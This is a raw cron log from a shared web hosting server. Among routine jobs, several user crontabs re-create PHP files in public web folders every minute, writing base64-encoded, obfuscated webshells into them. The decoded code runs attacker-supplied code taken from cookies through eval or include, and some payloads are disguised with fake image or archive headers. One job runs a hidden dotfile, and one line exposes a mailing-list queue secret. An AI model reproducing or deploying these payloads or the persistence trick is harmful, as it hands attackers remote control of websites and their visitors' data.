Mar  1 08:17:01 medusa CROND[24696]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:17:01 medusa CROND[24697]: (imercado) CMD (/usr/local/cpanel/3rdparty/bin/php -q /home/imercado/public_html/phplist/admin/index.php -pprocessqueue -c/home/imercado/public_html/phplist/config/config.php >/dev/null)
Mar  1 08:17:01 medusa CROND[24699]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:17:01 medusa CROND[24695]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:17:01 medusa CROND[24706]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:17:01 medusa CROND[24708]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:17:01 medusa CROND[24700]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 08:17:01 medusa CROND[24719]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:17:01 medusa CROND[24725]: (mauro2) CMD (/opt/cpanel/ea-php74/root/usr/bin/php -q "/home6/mauro2/public_html/wp-cron.php")
Mar  1 08:18:01 medusa CROND[14028]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 08:18:02 medusa CROND[14121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:18:02 medusa CROND[14122]: (tecnosec) CMD (/usr/local/bin/php  /home13/tecnosec/public_html/phplist/admin/index.php  -c /home13/tecnosec/public_html/phplist/config/config.php -p processqueue >/dev/null)
Mar  1 08:18:02 medusa CROND[14123]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:18:02 medusa CROND[14125]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:18:02 medusa CROND[14126]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:18:02 medusa CROND[14127]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:18:02 medusa CROND[14132]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:18:02 medusa CROND[14134]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:18:02 medusa CROND[14133]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:18:02 medusa CROND[14136]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:18:02 medusa CROND[14137]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 08:18:02 medusa CROND[14138]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:18:02 medusa CROND[14144]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:19:01 medusa CROND[4171]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 08:19:02 medusa CROND[4243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:19:02 medusa CROND[4244]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:19:02 medusa CROND[4245]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:19:02 medusa CROND[4246]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:19:02 medusa CROND[4247]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:19:02 medusa CROND[4248]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:19:02 medusa CROND[4251]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:19:02 medusa CROND[4252]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
